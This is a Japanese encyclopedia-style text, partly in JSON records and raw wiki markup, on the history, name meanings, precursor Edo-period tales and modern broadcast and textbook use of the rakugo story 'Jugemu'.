「めでたい話」である『寿限無』で溺れ死ぬことには、抵抗を感じる落語家もいる。越原富雄(作家 長尾豊(1889年生))は、ストーリーによって名前の使い分けがあると推測した。例として、「三遊の圓六」は井戸落ち噺の主人公の名を『自我偈』から採用したという。『自我偈』(じがげ)は法華経の中の如来寿量品第十六の中の一節である。「あにまにまにままね...」と同じく、法華経から引用している。
後世の童話等であれば、寿限無が溺れるバージョンは存在する。たとえば1932年の小学生用副読本がある。
寿限無の名は無量寿経が起源だとする説がある。無量寿経から文字を取るという設定は、例えば1929年の柳家つばめ版にある。しかし無量寿経に言及しないバージョンも、1910年代当時からあった。なお、実際の無量寿経に「寿限無」という語は無い。
『長い名の子』タイプの民話と落語『寿限無』は類話である。
日本の昔話(民話)の学術的な収集が始まったのは1910年代からで、これは書物の『欲からしづむ淵』や『一子に異名を付けて後悔せし話』よりも後である。
寿限無の出典は昔話集『聴耳草紙』かもしれないという説があった。『聴耳草紙』は岩手県の昔話集で1931年刊行。『長い名の子』話は三種掲載されている。そのうちの一話は著者佐々木喜善(1886年生)自身が幼少期の回想から復元したものだが、遡れるのはそこまでである。『聴耳草紙』掲載のバージョンが『長い名の子』話の起源だといえる理由は示されていない。
公共放送では内容に関する制約が厳しく、放送可能な落語の演目は限られていたが、『寿限無』は公共放送でも放送可能であった。。
1925年に日本の公共ラジオ放送が始まると、さっそく翌年1926年正月の放送番組に「落語 寿限無」が組まれた。演者は春風亭華柳である。同日付の新聞には解説とフルネーム「じげむじげむ[...]」・あらすじ・落ち「瘤がひっこんでしまった」が掲載されている。したがってラジオを持たない者でも概要を知ることができた。
ラジオ放送と同じ1926年に、雑誌『少年倶楽部』も「落語 寿限無」を掲載した。
1932年にラジオ放送受信契約の加入総数が百万件を超えた。同1932年に『子供の時間』枠で柳家権太楼による「寿限無」が放送され、同日新聞の番組紹介欄には寿限無のフルネームが掲載された。柳家権太楼は後に同番組名を冠した子供向け落語集も出版した。
『寿限無』は、寄席以外で出番が多い落語である。八代目林家正蔵(林家彦六、1895年 - 1982年)はホール落語でも演じた。子供向けの本も複数出ている。2006年時点の調査によれば『寿限無』は、当時の寄席での興行頻度と比べて、子供向けの落語の本での採用頻度が高かった。広辞苑(初版1955年)は、1991年刊の第4版から寿限無のフルネーム部分を掲載している。
早口言葉や『長い名の子』(『寿限無』含む)といった言葉遊びを言語教育の教材として活用しようという案は、20世紀初頭から提唱されてきた。
テレビ放送は、教育番組でも『寿限無』を採り上げている。なかでも2003年から、『にほんごであそぼ』で寿限無のフルネーム部分を放映して好評を得ている。この頃、全生徒に寿限無の名を暗唱させる小学校もあった。
2005年度(平成17年度)から小学校国語教科書2種が『寿限無』を掲載した。一部の教科書で紹介されている図書『落語絵本 じゅげむ』(1998年刊)では、一般的なストーリーとは逆に、寿限無のほうが友達に殴られて瘤ができる。
「こぶが引っ込んでしまった」とは違う落ちとして、新入学の朝から寿限無の名前を呼んで起こしているうちに「夏休みになっちゃった」、というバージョンが1996年までに現れた。六代目三遊亭圓窓は、自分がこの落ちを考案したとしている。死亡や喧嘩の描写を避けたかったからだという。
2005年度版小学校国語教科書の一つや、NHKが2006年に放映した趣味講座で「夏休みになっちゃった」が採用されている。
『寿限無』を元にした新作落語がいくつか存在する。三笑亭夢之助の『寿限無』『たらちね』を混ぜた『寿限垂()』、4代目桂福團治の『大人になった寿限無』、三遊亭白鳥の『スーパー寿限無』。3代目三遊亭圓丈『新・寿限無』では遺伝子工学の先生が名付け親となる。他に笑福亭笑子の『新・寿限無』がある。 | [
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"text": "『寿限無』(じゅげむ)は、落語の代表的な前座噺。長い名前を言い立てる早口言葉で知られる。上方落語では古くは別題を『長名の伜()』という。『長い名の子』タイプの民話と落語『寿限無』は類話である。",
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"text": "生まれた子供がいつまでも元気で長生きできるようにと考えて、とにかく「長い」ものが良いととんでもない名前を付けた、という笑い話。縁起のいい言葉を幾つか紹介され、どれにするか迷った末に全部付けてしまった、という筋の場合もある。",
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"text": "生まれた子供にめでたい名前を付けようとして、お寺の和尚さん(人物が異なる場合もある)の所へ相談に行った父親は、和尚さんから色々と教えてもらったおめでたい言葉を、全て並べて子供の名前にしてしまう。子供はすくすく育って腕白小僧になる。近所の子供とけんかをし、殴られてこぶを作った子供が父親のところに言いつけに来る。やり取りの中で長い名前が繰り返されるうちに、こぶが引っ込んでしまった、というのがサゲ。",
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"text": "寿限無、寿限無、五劫のすりきれ、海砂利水魚の、水行末・雲来末・風来末、食う寝るところに住むところ、やぶらこうじのぶらこうじ、パイポ・パイポ・パイポのシューリンガン、シューリンガンのグーリンダイ、グーリンダイのポンポコピーのポンポコナの、長久命の長助",
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"text": "長い名前や縁起のいい名前をモチーフにした話は他にもある。",
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"text": "江戸時代の噺家である初代 米沢彦八が著した噺本『軽口御前男』(元禄16年(1703年)刊行)に、「欲()からしづむ淵()」という小噺がある。あらすじ:",
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"text": "「三百[文]を捨てる」(わずかの出費のこと)とかけた、この名前特有の駄洒落である。この噺は米沢彦八自身による創作と推定されている。",
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"text": "噺の中で名前の由来は説明されていないが、仏教用語「如是我聞()」と「阿耨多羅三藐三菩提()」である。",
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"text": "寛政4年(1792年)に刊行された滑稽物の絵本『鼻下長物語』は芝全交()作で、早口言葉による会話が29ページに渡って繰り広げられる物語仕立ての作品である。関連部分のあらすじ:",
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"text": "嘉兵衛:「さて、昨日の申しかけを申そうと存じて、今日も貴宅へ参上致しました。長く申しては事が分りませぬ。つまんで申しましょう。こうでござる: そこもと様が主人法性寺入道前関白太政大臣様のことを、法性寺入道前関白太政大臣殿と仰せらましたから、そこで以てからに何か法性寺入道前関白太政大臣様が大きにお腹をお立ちなされ、俺が事を法性寺入道前関白太政大臣様という筈を、なぜ俺が事を法性寺入道前関白太政大臣殿と言うたとて、そこでもってからに法性寺入道、」 つうだ:「まずお急きなさるな。しかれば拙者が法性寺入道前関白太政大臣殿の事を、法性寺入道前関白太政大臣殿と申したがお気に障り、法性寺入道めが腹を立って、」 嘉兵衛:「いえさ、そう仰せられては済みませぬ。法性寺入道前関白太政大臣様と言う所を、」 (紛糾。以後毎日議論が続き、つうだは翌年になってやっと状況を理解する)",
"title": "類似するモチーフの歴史"
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"text": "話中の殿様の名「法性寺入道前関白太政大臣」は、小倉百人一首のうちの一首の詠み人藤原忠通の俗称。実在した人物である。小倉百人一首の中で一番長い名で、官名とはいえ、フィクションの名「あのくたら三びゃく三ぼだい」よりも長い。なお、20世紀中旬以降は通常「ほっしょうじにゅうどうさきのかんぱくだじょうだいじん」と発音する。",
"title": "類似するモチーフの歴史"
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"text": "『鼻下長物語』は好評で、さまざまな派生作品が登場した。初代林屋正蔵も『御加増』という小咄を1833年に刊行した。全会話が早口言葉で『鼻下長物語』と似たストーリーだが、「法性寺入道前関白太政大臣」の名はない。",
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"text": "落語本『無事志有意』(寛政10年(1798年)刊行)中の一話「雅名」(または「稚名」)は、めでたい名前を次々に要求するという笑話である。あらすじ:",
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"text": "「三浦の大助百六つ」「浦島太郎が八千歳」「東方朔が九千歳」「西の海へさらり」は、いずれも年末の厄払い祈祷の決まり文句。ここでの「非人」とは、厄払いをして回る(門付)物乞い芸人のことである。厄払いの最後に唱える「西の海へさらり」とは「災いは西の海へ捨て去れ」という意味で、長寿とは無関係である。",
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"text": "文化2年(1805年)刊行の怪談・奇談本『聞書雨夜友』(編集: 講釈師・作家である東随舎)の中に「一子に異名を付けて後悔せし話()」がある。あらすじ:",
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"text": "敵々仁 敵須留御坊 蒼臨坊 惣高入道 播磨之別当 茶碗茶臼之 挽木之 飛与小助",
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"text": "儒学者の提案した名は、四書五経について朱熹が書いた注釈書『四書集注』の一章『大学章句』の、表題「大学 朱熹章句」と導入部「子程子曰大学孔子之遺書而初学入徳之門也」。「なかきよの とおのねふりの みなめさめ なみのりふねの おとのよきかな」は、回文になっている和歌。本書に「てきてきに...」の由来や意味の説明はない。",
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"text": "いっぽう三代目三遊亭金馬は1959年の著書に、大阪では「寿限無寿限無」が「だだぶ だぶだぶ」と溺れ死ぬという落ちだと記している。「先日亡くなった三語楼」もこの落ちで演じていたという。。こちらの落ちは、「あにまにまにままね...」の野口復堂による描写と一致する。",
"title": "『寿限無』の歴史"
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"paragraph_id": 50,
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"text": "寿限無が溺れるバージョンの全文記録としては、三代目蝶花楼馬楽の2種の録音のうちの一つがある。ただ、これは「長助さんが井戸へ落こった。大変だなどうもそいつは。」だけで、結末も落ちもなく終わってしまう。",
"title": "『寿限無』の歴史"
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"paragraph_id": 51,
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"text": "「めでたい話」である『寿限無』で溺れ死ぬことには、抵抗を感じる落語家もいる。越原富雄(作家 長尾豊(1889年生))は、ストーリーによって名前の使い分けがあると推測した。例として、「三遊の圓六」は井戸落ち噺の主人公の名を『自我偈』から採用したという。『自我偈』(じがげ)は法華経の中の如来寿量品第十六の中の一節である。「あにまにまにままね...」と同じく、法華経から引用している。",
"title": "『寿限無』の歴史"
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"text": "後世の童話等であれば、寿限無が溺れるバージョンは存在する。たとえば1932年の小学生用副読本がある。",
"title": "『寿限無』の歴史"
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"text": "寿限無の名は無量寿経が起源だとする説がある。無量寿経から文字を取るという設定は、例えば1929年の柳家つばめ版にある。しかし無量寿経に言及しないバージョンも、1910年代当時からあった。なお、実際の無量寿経に「寿限無」という語は無い。",
"title": "『寿限無』の歴史"
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"text": "『長い名の子』タイプの民話と落語『寿限無』は類話である。",
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"text": "日本の昔話(民話)の学術的な収集が始まったのは1910年代からで、これは書物の『欲からしづむ淵』や『一子に異名を付けて後悔せし話』よりも後である。",
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"text": "寿限無の出典は昔話集『聴耳草紙』かもしれないという説があった。『聴耳草紙』は岩手県の昔話集で1931年刊行。『長い名の子』話は三種掲載されている。そのうちの一話は著者佐々木喜善(1886年生)自身が幼少期の回想から復元したものだが、遡れるのはそこまでである。『聴耳草紙』掲載のバージョンが『長い名の子』話の起源だといえる理由は示されていない。",
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"text": "公共放送では内容に関する制約が厳しく、放送可能な落語の演目は限られていたが、『寿限無』は公共放送でも放送可能であった。。",
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"text": "1925年に日本の公共ラジオ放送が始まると、さっそく翌年1926年正月の放送番組に「落語 寿限無」が組まれた。演者は春風亭華柳である。同日付の新聞には解説とフルネーム「じげむじげむ[...]」・あらすじ・落ち「瘤がひっこんでしまった」が掲載されている。したがってラジオを持たない者でも概要を知ることができた。",
"title": "『寿限無』の歴史"
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"text": "ラジオ放送と同じ1926年に、雑誌『少年倶楽部』も「落語 寿限無」を掲載した。",
"title": "『寿限無』の歴史"
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"text": "1932年にラジオ放送受信契約の加入総数が百万件を超えた。同1932年に『子供の時間』枠で柳家権太楼による「寿限無」が放送され、同日新聞の番組紹介欄には寿限無のフルネームが掲載された。柳家権太楼は後に同番組名を冠した子供向け落語集も出版した。",
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"text": "『寿限無』は、寄席以外で出番が多い落語である。八代目林家正蔵(林家彦六、1895年 - 1982年)はホール落語でも演じた。子供向けの本も複数出ている。2006年時点の調査によれば『寿限無』は、当時の寄席での興行頻度と比べて、子供向けの落語の本での採用頻度が高かった。広辞苑(初版1955年)は、1991年刊の第4版から寿限無のフルネーム部分を掲載している。",
"title": "『寿限無』の歴史"
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"text": "早口言葉や『長い名の子』(『寿限無』含む)といった言葉遊びを言語教育の教材として活用しようという案は、20世紀初頭から提唱されてきた。",
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"text": "テレビ放送は、教育番組でも『寿限無』を採り上げている。なかでも2003年から、『にほんごであそぼ』で寿限無のフルネーム部分を放映して好評を得ている。この頃、全生徒に寿限無の名を暗唱させる小学校もあった。",
"title": "『寿限無』の歴史"
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"text": "2005年度(平成17年度)から小学校国語教科書2種が『寿限無』を掲載した。一部の教科書で紹介されている図書『落語絵本 じゅげむ』(1998年刊)では、一般的なストーリーとは逆に、寿限無のほうが友達に殴られて瘤ができる。",
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"text": "",
"title": "『寿限無』の歴史"
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"text": "「こぶが引っ込んでしまった」とは違う落ちとして、新入学の朝から寿限無の名前を呼んで起こしているうちに「夏休みになっちゃった」、というバージョンが1996年までに現れた。六代目三遊亭圓窓は、自分がこの落ちを考案したとしている。死亡や喧嘩の描写を避けたかったからだという。",
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"text": "2005年度版小学校国語教科書の一つや、NHKが2006年に放映した趣味講座で「夏休みになっちゃった」が採用されている。",
"title": "『寿限無』の歴史"
},
{
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"text": "『寿限無』を元にした新作落語がいくつか存在する。三笑亭夢之助の『寿限無』『たらちね』を混ぜた『寿限垂()』、4代目桂福團治の『大人になった寿限無』、三遊亭白鳥の『スーパー寿限無』。3代目三遊亭圓丈『新・寿限無』では遺伝子工学の先生が名付け親となる。他に笑福亭笑子の『新・寿限無』がある。",
"title": "派生"
}
]
| 『寿限無』(じゅげむ)は、落語の代表的な前座噺。長い名前を言い立てる早口言葉で知られる。上方落語では古くは別題を『長名の伜』という。『長い名の子』タイプの民話と落語『寿限無』は類話である。 | {{Otheruses|落語|その他|じゅげむ (曖昧さ回避)}}
{{出典の明記|date=2016年3月6日 (日) 14:37 (UTC)}}
『'''寿限無'''』(じゅげむ)は、[[落語]]の代表的な[[落語家#前座|前座]]噺。長い名前を言い立てる[[早口言葉]]で知られる。[[上方落語]]では古くは別題を『{{読み仮名|長名の伜|ながなのせがれ}}』という。『[[長い名の子]]』タイプの[[民話]]と落語『寿限無』は類話である<ref name="日本昔話通観研究編2_1998" />。
== 概要 ==
生まれた子供がいつまでも元気で長生きできるようにと考えて、とにかく「長い」ものがいいということでとんでもない名前をつけた、という笑い話<ref name="日本芸術文化振興会_寿限無">{{Cite web|和書|url=https://www2.ntj.jac.go.jp/dglib/contents/learn/edc20/geino/rakugo/enmoku/s1.html |title=お寺噺『寿限無』 |accessdate=2022-02-19 |publisher=文化庁 |editor=日本芸術文化振興会 |website=文化デジタルライブラリー |language=ja}}</ref>。[[縁起]]のいい言葉を幾つか紹介され、どれにするか迷った末に全部つけてしまった、という筋の場合もある<ref name="日本芸術文化振興会_寿限無" />。
生まれた子供にめでたい名前をつけようとして、お寺の[[和尚]]さん(人物が異なる場合もある)の所へ相談に行った父親は、和尚さんから色々と教えてもらったおめでたい言葉を、全て並べて子供の名前にしてしまう。子供はすくすく育って腕白小僧になる。近所の子供とけんかをし、殴られてこぶを作った子供が父親のところに言いつけに来る。やり取りの中で長い名前が繰り返されるうちに、時間がたってこぶが引っ込んでしまった、というのが[[サゲ]]<ref group="F" name="NHKおはなしのくに_寿限無_文">{{Cite web|和書|url=https://www2.nhk.or.jp/school/movie/outline.cgi?das_id=D0005150091_00000|title=落語「じゅげむ」あらすじ一覧|accessdate=2022-06-24|publisher=[[日本放送協会]]|website=NHK for School|work=[[おはなしのくにクラシック]]<!--|archive-url=https://web.archive.org/web/20220624032335/https://www2.nhk.or.jp/school/movie/outline.cgi?das_id=D0005150091_00000|archive-date=2022-06-24|url-status=live-->}}(scene 01テロップ:「柳家花緑」)</ref>。
長い名前の言い立ては[[早口言葉]]の一種とされることもあり<ref name="綿谷2015">{{Cite book|和書|origyear=1964|title=言語遊戯の系譜|publisher=青蛙房|date=2015-03-25|page=167|last=綿谷<!--わたたに-->|first=雪<!--きよし-->|author-link=綿谷雪|language=ja|isbn=978-4790504313}}
* pp51-59 1章7節 科白の影響と戯作の追随: [[市川團十郎 (2代目)|二代目市川團十郎]]の『[[外郎売]]の科白』に影響されて出たのが『鼻下長物語』。その踏襲作が『相州小田原相談』、『日本一癡鑑』(痴鑑)、『どうげ物語』(道外物語)。
* p60: 江戸時代前半の早口言葉は、『外郎売の科白』か本調子端唄『こんきょうじ』のどちらかに入っていることが多い。
* p122:「法性寺の入道…」は「もっとも著名な早口言葉の一つで、敬称と卑称の交叉に陥穽がある」
* p123: 法性寺を題材とした古川柳10句、その他
* pp166-173 1章16節 長い名
** p169: 寿限無からの転訛の例「じげもじげも」(丹後)、「ぽんぴきぴい」(富山)
* pp393-395(追記): 法性寺を題材とした雑俳等24句
* p394: 徳川家康は「肩書の正称を、征夷大将軍右大臣淳和弉学院別当源氏長者と称した」
* オンラインで見られる本書の旧版(ただし大幅改訂されている):
** {{Cite book|和書|title=ことばの民俗学|publisher=都書房|date=1942-10-30|pages=96-101|last=綿谷|first=雪|author-link=綿谷雪|language=ja|NCID=BN12724182|chapter=13. 長い名|doi=10.11501/1126273|id={{NDLJP|1126273}} {{JPNO|46024170}}|chapter-url=https://dl.ndl.go.jp/info:ndljp/pid/1126273/56|url-access=registration}}{{要登録}}
</ref>、これを繰り返すことに滑稽さがある<ref name="広辞苑4版" />。落語家の口慣らしの稽古用として、前座が最初に習う噺のひとつである<ref name="落語大百科2001_寿限無">{{Cite encyclopedia|title=寿限無|encyclopedia=落語大百科|publisher=冬青社|date=2001-07-01|pages=373-374|last=川戸|first=貞吉|language=ja|isbn=4924725714|NCID=BA50062127|volume=2|location=東京}}</ref>。
{{anchors|代表的な例}}
== 名前の代表的な例 ==
演者によって語句、読み方、意味説明は異なる<ref name="NHK_KIDSWORLD_FAQ">{{Cite web|和書|url=http://www.nhk.or.jp/kids/program/faq/index.html |title=番組総合FAQ Q:番組で紹介される「じゅげむ」は私の知っている「寿限無」と少し違うのですが |accessdate=2022-02-19 |publisher=NHK |date=2004-04-05 |website=KIDS WORLD |language=ja |archiveurl=https://web.archive.org/web/20040406011019/http://www.nhk.or.jp:80/kids/program/faq/index.html |archivedate=2004-04-06 |deadlinkdate=2022-02-19}}</ref>。{{quotation|
{{ruby|寿限無|じゅげむ}}、{{ruby|寿限無|じゅげむ}}、<br>{{ruby|五劫|ごこう}}のすりきれ、<br>{{ruby|海砂利|かいじゃり}}{{ruby|水魚|すいぎょ}}の、<br>{{ruby|水行末|すいぎょうまつ}}・{{ruby|雲来末|うんらいまつ}}・{{ruby|風来末|ふうらいまつ}}、<br>食う寝るところに住むところ、<br>やぶらこうじのぶらこうじ、<br>パイポ・パイポ・パイポのシューリンガン、<br>シューリンガンのグーリンダイ、<br>グーリンダイのポンポコピーのポンポコナの、<br>{{ruby|長久命|ちょうきゅうめい}}の{{ruby|長助|ちょうすけ}}
|[[NHK教育テレビジョン|NHK教育テレビ]] [[おはなしのくにクラシック]]<ref group="F" name="NHKおはなしのくに_寿限無_文" />}}
=== 意味 ===
話の中での架空の意味説明:
; 寿限無
: 寿命が限り無いの意<ref group="F" name="NHKおはなしのくに_寿限無_文" />。
; 五劫の擦り切れ
: 天女が時折泉で水浴びをする際、その泉の岩の表面が微かに擦り減り、それを繰り返して岩が無くなってしまうまでが一[[劫]]。それが5回擦り切れる、つまり永久に近いほど長い時間のこと<ref group="F" name="NHKおはなしのくに_寿限無_文" />。劫(kalpa)はヒンズー哲学で、宇宙の誕生から消滅までの時間を意味する。<ref>{{Cite book|和書 |title=はかりきれない世界の単位 |date=2017年6月20日 |publisher=株式会社創元社 |page=23}}</ref>[[三遊亭金馬 (3代目)]]は、正しくは「すりきれず」だが「すりきれ」と発音するという<ref name="三遊亭金馬1993">{{cite book|和書|author=三遊亭金馬 |authorlink=三遊亭金馬 (3代目)|publication-date=September 1993 |origyear=1959 |language=ja |title=浮世だんご |publisher=つり人社 |edition=新書版 |pages=79-87 |isbn=978-4885362217|url=https://books.google.co.jp/books?id=MPVPsm4af8UC&pg=PA85}}(URLはGoogle Books)
* 原書: {{Cite book|和書|title=浮世断語|publisher=有信堂|date=1959-05-25|pages=105-114|author=三遊亭金馬|language=ja|location=東京}}の再刻版。
* Google Books版 p94「神仏穴''深''し(さがし)」は原書(1959)p111「神仏穴''探''し」を誤写。
* p84: 先輩噺家が寿限無を演じた際に『神仏穴探し』という本を横から取り出したと記している(演技か現物か不明)。
* p85概要: 大阪の噺では寿限無が井戸に落ち、しまいには和尚が読経の節で「寿限無寿限無」と呼ぶ。寿限無は「だだぶ だぶだぶ」と溺れ死ぬ。「先日亡くなった三語楼さん」もこの落ちで演っていた。
</ref>。いっぽう、『増補 落語事典』は「すりきれ」のほうが正しいと断言する<ref name="増補落語事典_寿限無">{{Cite encyclopedia|title=寿限無|encyclopedia=増補 落語事典|publisher=青蛙房|date=1994-09-30|page=240|editor=東大落語会|edition=改訂版 増補版|language=ja|isbn=9784790505761|ncid=BN13922410|location=東京}}
*『寿限無』の掲載速記本は3点挙げている:
**『落語全集』全3巻 金園社 昭和29年12月。これは今村信雄『落語選集』全6巻 楽々社 昭和27年の再編であるとしている。
**『落語全集』全3巻 講談社 昭和4年10月。
**『林家正蔵集』全3巻 青蛙房 八代目林屋正藏。
</ref>。広辞苑は両説を併記している<ref name="広辞苑4版" />。古い1910年代の記録でも両例ある<ref group="F" name="三遊亭福圓遊1912_寿限無" /><ref name="海賀変哲1914">{{Cite book|和書|title=落語の落|publisher=三芳屋書店|date=1914-11-22|page=148|editor=海賀変哲|language=ja|chapter=寿限無|location=東京|doi=10.11501/906094|id={{NDLJP|906094}}|chapter-url=https://dl.ndl.go.jp/info:ndljp/pid/906094/90}}</ref>。
; 海砂利水魚
: 海の砂利や水中の魚のように数限りないたとえ<ref group="F" name="NHKおはなしのくに_寿限無_文" />。「かいじゃり」・「かいざり」両方の発音例がある<ref>{{Cite web|和書|url=https://crd.ndl.go.jp/reference/modules/d3ndlcrdentry/index.php?page=ref_view&id=1000151695 |title=古典落語の「寿限無」に出てくる「海砂利水魚」の読みは「かいじゃりすいぎょ」と思っていたが「かいざりすいぎょ」とも読むのか |accessdate=2022-02-17 |publisher=国立国会図書館 |editor=東京都立中央図書館 |date=2020-04-17 |website=レファレンス協同データベース |language=ja}}</ref>。
; 水行末雲来末風来末
: 水・雲・風の来し方・行く末には果てがないことのたとえ<ref group="F" name="NHKおはなしのくに_寿限無_文" />。
; 食う寝る処に住む処
: [[衣食住]]の食・住。これらに困らずに生きて行ける事を祈ったもの<ref group="F" name="NHKおはなしのくに_寿限無_文" />。また、『滑稽百面相』に記載の版だと、「食う寝る」とは実際には「くねる」であり、海中でくねる海藻の数のように果てしないこと、「住む処」のトコロとは正月の[[縁起物]]である[[トコロ]]」のことで、「代々この場所に住みたい」という意味を持つという<ref group="F" name="三遊亭福圓遊1912_寿限無" />。トコロ(野老(ヤロウ))は、[[長芋]]に似た根菜である<ref>{{Cite Kotobank|word=野老|encyclopedia=精選版 日本国語大辞典(小学館)|accessdate=2021-12-09}}</ref>。三代目三遊亭金馬も、ヤロウとかけて「くめるヤロウに住むトコロ」と言う古い例を紹介している{{r|"三遊亭金馬1993"|page=86}}。
; やぶらこうじのぶらこうじ
: [[ヤブコウジ|藪柑子]](やぶこうじ)は生命力豊かな縁起物の木の名称<ref group="F" name="NHKおはなしのくに_寿限無_文" />。葉が落ちても実が生り続けることから縁起物とされる<ref group="F" name="三遊亭福圓遊1912_寿限無" />。「(や)ぶらこうじ」は藪柑子がぶらぶらなり下がる様とも<ref group="F" name="三遊亭福圓遊1912_寿限無" />。後半の語が「ぶらこうじ」か「やぶこうじ」かは、論争の種となっている<ref group="F" name="川端誠1998" />。
:*「ぶらこうじ」の例: 1912年 三遊亭福円遊<ref group="F" name="三遊亭福圓遊1912_寿限無" />、1929年 柳家つばめ<ref group="F" name="柳家つばめ1929" />、2022年 柳家花緑<ref group="F" name="NHKおはなしのくに_寿限無_文" />。
:*「やぶこうじ」の例: 落語家:1959年 三代目三遊亭金馬<ref name="三遊亭金馬1993" />、1996年 六代目三遊亭圓窓<ref group="F" name="三遊亭圓窓1996_寿限無" /><ref group="F" name="教育出版_奨学国語4下_2005" />。落語家以外:1914年刊『落語の落』<ref name="海賀変哲1914" />、1998年刊『落語絵本 じゅげむ』<ref group="F" name="川端誠1998" />。
:綴りに関しては、広辞苑は「やぶら小路ぶら小路」と「藪柑子」を併記し<ref name="広辞苑4版" />、NHKはひらがなで表記している<ref group="F" name="NHKおはなしのくに_寿限無_文" />。
; パイポ、 シューリンガン、グーリンダイ、ポンポコピー、ポンポコナ
: もろこし([[唐土]])のパイポ王国のシューリンガンは王、グーリンダイはシューリンガンの妃で、その娘たちポンポコピー、ポンポコナは長生きした<ref group="F" name="NHKおはなしのくに_寿限無_文" />。あるいは、シューリンガンのグーリンダイに住むパイポパイポ王は長生きで、ポンポコピー・ポンポコナーも天竺の長生き夫婦の名前<ref group="F" name="三遊亭福圓遊1912_寿限無" />。
; 長久命
: 長く久しい命<ref group="F" name="NHKおはなしのくに_寿限無_文" />。
; 長助
: 長く助けるの意味合いを持つ<ref group="F" name="NHKおはなしのくに_寿限無_文" />。
{{anchors|歴史|類似モチーフ}}
== 類似するモチーフの歴史 ==
{{Main|長い名の子#歴史}}
長い名前や縁起のいい名前をモチーフにした話は他にもある。
{{Anchors|長い名の子|長い名前の子}}{{Anchors|欲からしづむ淵|あのくたらさんびゃくさんぼだい|阿耨多羅三藐三菩提}}
=== 長い名の子が困ったことになる話 ===
江戸時代の噺家である[[米沢彦八#初代|初代 米沢彦八]]が著した[[噺本]]『軽口御前男』([[元禄]]16年(1703年)刊行{{r|"欲からしづむ淵1966"|page=33}})に、「{{読み仮名|欲|よく}}からしづむ{{読み仮名|淵|ふち}}」という[[小噺]]がある。あらすじ:
:ある人が、憎い[[継子]]を短い名前「によぜがも」に改名させ、かわいい[[実子]]を長い名前「あのくたら{{読み仮名|三|さん}}びやく{{読み仮名|三|さん}}ぼだい」に改名させた。ある日継子が川に落ちるが、周りに助けを求めて速やかに救助される。後日こんどは実子が川に落ちるが、助けを求める際に長い名前を呼んでいる間に時間がかかるのでどんどん流されていってしまった。母親は「三百を捨てたら助かろものを」と嘆いた<ref name="欲からしづむ淵1966">翻刻版: {{Cite book|和書|title=江戸笑話集|publisher=岩波書店|origyear=1703|date=1966-07-05|page=313|author=米沢彦八|authorlink=米沢彦八#初代|editor-last=小高<!--おだか-->|editor-first=敏郎<!--としお-->|editorlink=小高敏郎|series=日本古典文学大系|language=ja|chapter=軽口御前男 巻之二 欲からしづむ淵|volume=100|location=東京}}
*p33:『軽口御前男』は[[元禄]]16年に大阪で刊行
</ref><ref name="hanashitext_欲からしづむ淵">テキスト版: {{Cite web|和書|url=http://base1.nijl.ac.jp/hanashitext/TextAction.do?bouki=0&saku_no=041&kango=006&sys_han=001&groupId=G0000011&page=239|title=6巻 軽口御前男|accessdate=2021-12-12|publisher=[[国文学研究資料館]]|website=噺本大系本文データベース|language=ja<!--|archiveurl=https://web.archive.org/web/20211212160727/http://base1.nijl.ac.jp/hanashitext/TextAction.do?bouki=0&saku_no=041&kango=006&sys_han=001&groupId=G0000011&page=239|archivedate=2021-12-12-->}}</ref>。
「三百{{Interp|[[文 (通貨単位)|文]]}}を捨てる」(わずかの出費のこと)<ref name="欲からしづむ淵1966" />とかけた、この名前特有の[[駄洒落]]である。この噺は米沢彦八自身による創作と推定されている{{r|"欲からしづむ淵1966"|pages=24-25}}。
噺の中で名前の由来は説明されていないが、仏教用語「{{読み仮名|[[経 (仏教)|如是我聞]]|にょぜがもん}}<ref>{{Cite Kotobank|word=如是我聞|encyclopedia=精選版 日本国語大辞典(小学館)|accessdate=2022-01-11}}</ref>」と「{{読み仮名|[[阿耨多羅三藐三菩提]]|あのくたらさんみゃくさんぼだい}}<ref>{{Cite Kotobank|word=阿耨多羅三藐三菩提|encyclopedia=精選版 日本国語大辞典(小学館)|accessdate=2022-01-11}}</ref><ref name="続無名抄">「{{Interp|…}}さみゃくさぼたい」と発音する例もある:{{Cite book|和書|title=続無名抄|publisher=愚常|year=1680|author=岡西惟中|author-link=岡西惟中|url=https://kotenseki.nijl.ac.jp/biblio/100190457/viewer/76|accessdate=2022-02-16|language=ja|location=大阪|doi=10.20730/100190457|at=下巻13裏(画像76面右)}}([[延宝]]8年刊)</ref>」である。
{{anchors|法性寺|法性寺入道前関白太政大臣|鼻下長物語}}
=== 長い名をいちいち繰り返すギャグ ===
[[寛政]]4年(1792年)に刊行された滑稽物の絵本『鼻下長物語』<ref name="鼻下長物語1792B">別題・読み仮名: {{Cite web|和書|url=https://kotenseki.nijl.ac.jp/biblio/100076898 |title=形容化景唇動 鼻下長物語 |access-date=2022-06-14 |publisher=国文学研究資料館 |website=新日本古典籍総合データベース |quote=形容化景唇動 鼻下長物語 (けいようけしてかげくちびるをうごかす はなのしたながものがたり) |language=ja}}</ref>は{{読み仮名|[[芝全交]]|しばぜんこう}}作で、早口言葉による会話が29ページに渡って繰り広げられる物語仕立ての作品である<ref name="鼻下長物語1792">{{Cite book|和書|title=鼻下長物語|publisher=つるや|year=1792|author=芝全交|author-link=芝全交|language=ja|id={{NDLJP|9892722}}}}([[寛政]]4年出版)</ref>。関連部分のあらすじ<ref name="黄表紙十種1935">翻刻版: {{Cite book|和書|title=黄表紙十種|publisher=有朋堂|date=1935-08-14|origyear=1914|pages=173-204|author=芝全交|authorlink=芝全交|editor=武笠三|editor2=塚本哲三|language=ja|chapter=鼻下長物語|location=東京|id={{NDLJP|1232603}}|chapterurl=https://dl.ndl.go.jp/info:ndljp/pid/1232603/97}}
*p1 緒言 黄表紙本の概説
*p3 緒言『当たり作二十三部』とは
*pp9-10 解題 鼻下長物語: 寛政4年板。本作は黄表紙のヒット作一覧『当たり作二十三部』にエントリーされている。[[築地善好]]作の『小田原相談』は本作の続編的な作品。
*pp173-204 芝全交『鼻下長物語』本文、翻刻
** p176:「ほうしやうじの入道さきのくわんばく大じやう大臣」
*p298 [[式亭三馬]]『稗史億説年代記』巻末付録『当たり作二十三部』
</ref>:
:あるとき殿様「{{読み仮名|法性寺入道前関白太政大臣|ほうしょうじのにゅうどうさきのかんばくだいじょうだいじん}}」は、家老「三なめかけたが三かけたひっちくでっちくほうねんぼうのつうだ左衛門」(略称「つうだ」)の言葉遣いが気に障った。そこで殿様は家老「親も嘉兵衛子も嘉兵衛親嘉兵衛子嘉兵衛子かへ親かへ」親子二人(略称「嘉兵衛」)に、「つうだ」へ徹底指導するよう指示した。指導初日は物別れ。以下二日目のようす:
{{Poemquote|text=
